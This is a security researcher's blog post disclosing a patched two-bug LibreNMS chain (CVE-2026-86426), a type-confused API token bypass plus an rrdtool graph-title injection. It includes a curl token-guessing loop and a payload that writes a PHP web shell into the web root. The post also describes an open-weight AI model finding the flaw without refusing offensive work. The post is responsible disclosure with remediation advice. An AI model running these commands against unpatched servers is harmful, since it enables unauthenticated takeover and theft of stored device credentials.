Caret-back
Back to Blog
Blog

For $3.60, AI Found a Critical RCE Threatening Thousands of Servers Worldwide

Roi Ben Shaul, Security Researcher
5
min read
Sep 16, 2026
For $3.60, AI Found a Critical RCE Threatening Thousands of Servers Worldwide

Executive summary

AI has changed the attacker's math. For about $3.60 of AI token usage, we found an unauthenticated remote code execution in LibreNMS, a common network monitor that ISPs, data centers, and enterprises use to watch their infrastructure.The chain is now tracked as CVE-2026-86426.

  • No login, code execution (CVSS 9.4). Two bugs chain together. Getting past the API's only check takes seconds and needs no credentials, and the second bug turns that access into commands running as the LibreNMS service account. That also exposes the credentials LibreNMS stores for every device it monitors.
  • Thousands are exposed right now. Around 6,000 LibreNMS servers face the public internet, based on numbers from Shodan and Censys.
  • Exposure is the problem now. When finding a serious bug drops from weeks of an expert's time to the price of a coffee, "no one will bother to look" stops being a defense. Whatever you expose will be found, and fast.
  • Open models remove the guardrails. We used an open-weight model, which is not bound by the same safety and trust constraints as the big commercial AI, so it does not refuse offensive security work. That capability is available to anyone who wants it.
  • This is not the only one we found. We have many more findings in widely used software, and they are going through responsible disclosure with the maintainers right now.
  • Network reachability is the last filter standing. Finding and fixing the reachable ones is our focus at Astelia.
  • Fixed in LibreNMS 26.8.0. If you run it, update now.

Found by AI, for $3.60

Security has always run on a comfortable assumption: finding a serious vulnerability is expensive, so serious vulnerabilities are rare. That assumption is breaking. This chain was found autonomously by an AI model for about $3.60 in API cost.

We didn't use Claude or GPT. We used an open-weight model, which is not bound by the safety constraints the big commercial assistants work under, so it does not refuse offensive security work. Point one at a codebase, ask it to find a way in, and it will.

That changes the calculus. Patching your own software was always necessary, but it was never the whole job, and it matters less now that anyone can find your next bug for the price of a coffee. This is the problem we are building Astelia to solve. We will have something to show very soon. Stay tuned.

The target

LibreNMS is the kind of software attackers love to find. It monitors everything, so it can reach everything: SNMP strings (meant to be read-only, though admins often make them read-write), device credentials, and a full network map in one place.

The REST API is a supported feature that plenty of teams automate against, and one check guards it: present a valid token, or get a 401. The attack does need at least one API token to exist on the server, which in our experience is very common.

Bug 1: the API can't tell a number from a string

Every route under /api/v0/ runs through one guard that pulls a token from the request and looks it up:

1// app/Models/ApiToken.php
2public static function isValid($token, $user_id = null)
3{
4    $query = self::query()->isEnabled()->where('token_hash', $token);  // the lookup
5    // ...
6    return $query->exists();
7}

Tokens are 32 hex characters, stored in a text column, token_hash varchar(255). The guard reads the token straight off the request and hands it to that query:

// app/Guards/ApiTokenGuard.php
$token = $this->request->header('X-Auth-Token');
if (empty($token)) {
    $token = parent::getTokenForRequest();   // reads api_token from the JSON body
}
return $token;                               // returned with its JSON type intact

Here is the mistake. If you send the request as JSON, Laravel decodes the body with json_decode, which preserves types. {"api_token": 0} gives back the PHP integer 0, not the string "0". That integer reaches the query and the lookup runs as token_hash = 0: a number compared against a text column.

When a database compares text to a number, it converts the text to a number, reading it from the front. A hash like 9cd9a5e2... becomes 9. A hash starting with a letter, say abcdef01..., has no leading digit at all, so it becomes 0. That is what makes 0 the guess worth sending: token_hash = 0 matches every token whose hash starts with a through f, roughly 40% of them.

There is one snag: a bare 0 is falsy, and the guard drops empty values before the query runs. Wrap it in an array, {"api_token": [0]}, and it passes the check, then the query builder flattens [0] back to 0 before it hits the database.

That single request matches about 44% of random tokens. Adding guesses 1 through 9 gets you to ~64%, and a short sweep into two- and three-digit numbers covers almost everything else. There is no rate limiting on the API, so the whole sweep runs in seconds.

A small set of tokens escapes it. When a hash starts with something MySQL reads as scientific notation, like 148e32..., it becomes a huge float that no integer guess can hit, so those tokens are out of reach. They are a minority.

# 401 without the trick:
curl -s -o /dev/null -w '%{http_code}\n' <http://TARGET/api/v0/devices>

# 200 with it. One of these lands on a real token:
for g in '[0]' 1 2 3 4 5 6 7 8 9; do
  curl -s -o /dev/null -w "api_token=$g -> %{http_code}\n" \
    -H 'Content-Type: application/json' --data "{\"api_token\":$g}" \
    <http://TARGET/api/v0/devices>
done

A 200 means you are authenticated as whoever owns the matched token, and GET /api/v0/devices already dumps every device that user can see, including stored SNMP credentials. This bug alone was rated critical (9.2).

An admin token would be the jackpot: LibreNMS documents that the admin role "bypasses all granular checks and has full access to the entire system," and the project has published admin-only RCEs of its own, such as one through the Signal alert transport. But the sweep does not care whose token it collides with, admin or not, and the next bug turns any of them into code execution.

Bug 2: the graph title runs commands

To draw graphs quickly, LibreNMS keeps one long-lived rrdtool process open and feeds it commands over a pipe, one per line. The title you ask for gets pasted onto that line, and the only sanitizing it gets strips single quotes:

// LibreNMS/Data/Graphing/GraphParameters.php
// remove single quotes, because we can't drop out of the string if this is sent to rrdtool stdin
$options[] = '--title=' . str_replace("'", '', $this->getTitle());

That comment is LibreNMS's own, and it shows the author knew injection was the risk. The problem is which quote they defended against: the options get wrapped in double quotes before they reach the pipe, which a single-quote filter never sees. A " in the title closes the quoting, and a newline starts a brand-new rrdtool command.

On this pipe, rrdtool writes wherever it is told, as the librenms user, and its CSV export prints data labels verbatim. Combine the two: ask for a CSV export, put a PHP tag in the label, and point the output at the web root.

graph "/opt/librenms/html/poc.php" "--imgformat=CSV" \
      "DEF:a=/tmp/p.rrd:a:AVERAGE" "XPORT:a:<?=passthru($_GET[0]);?>"

What lands on disk is a CSV file whose contents are a working PHP web shell, written as poc.php under the web root. Nothing guards that path, so anyone can call it with no login at all.

We found this bug independently and took it all the way to code execution. Our report was closed as a duplicate of GHSA-3hvv-wxpw-cx83, published as low severity. That rating fits the report it was merged into, which stopped at information disclosure: reading graph data from devices the user is not allowed to see. But the same flaw is critical in its own right, and it needs no auth bypass to get there. Any logged-in user, even a read-only one, can reach the graph endpoint and run commands on the server.

The chain: low plus critical equals unauthenticated RCE

Attack chain: a 401 with no token, then the type-confused token guess returns 200, then graph_title escapes the rrdtool pipe, then a PHP web shell in the web root gives code execution as librenms

Bug 1 opens the API with no account, and every graph endpoint takes graph_title straight from the request, sitting behind the guard Bug 1 defeats. So the "low" bug, reached through the "critical" one, becomes fully unauthenticated remote code execution, scored 9.4.

How exposed is this?

LibreNMS is meant to live inside a network, but plenty of it doesn't. Shodan and Censys put the number of internet-facing LibreNMS servers at roughly 6,000 (August 2026).

Watch it happen

Astelia Research: Recording of LibreNMS unauthenticated RCE, full chain

Disclosure timeline

Disclosure timeline: reported Aug 3 2026, fixes merged Aug 4, LibreNMS 26.8.0 released Aug 17, advisories published Aug 23

Reported, fixed, and disclosed in three weeks. The LibreNMS maintainers were fast and professional throughout.

What to do

  • Update to 26.8.0 or later. This is the fix, and it is the only complete one.
  • Audit your API tokens. If you were on an affected version and exposed the API, treat your tokens, and any SNMP credentials reachable through the API, as compromised and rotate them.
  • Don't expose the LibreNMS UI or API to untrusted networks. It is an internal tool; keep it internal.
  • Leave allow_unauth_graphs off (it is off by default). With it on, the graph path is exposed without even needing the token bypass.

Conclusion

Neither of these bugs is exotic. One is a type check that was never made; the other is an escaping rule that stopped one character short. What makes them matter is that they compose: a scanner looking at either one alone would have waved it through. The fix in 26.8.0 is, fittingly, a single line that strips the characters the pipe cares about.

Finding a serious bug used to take weeks of an expert's time. An AI did it here for the price of a coffee, and LibreNMS won't be the last. When discovery gets this cheap, the only defense that holds is knowing what an attacker can actually reach.

Credits

Research and write-up by Astelia Research. Thanks to the LibreNMS team for a quick and clean response.

Share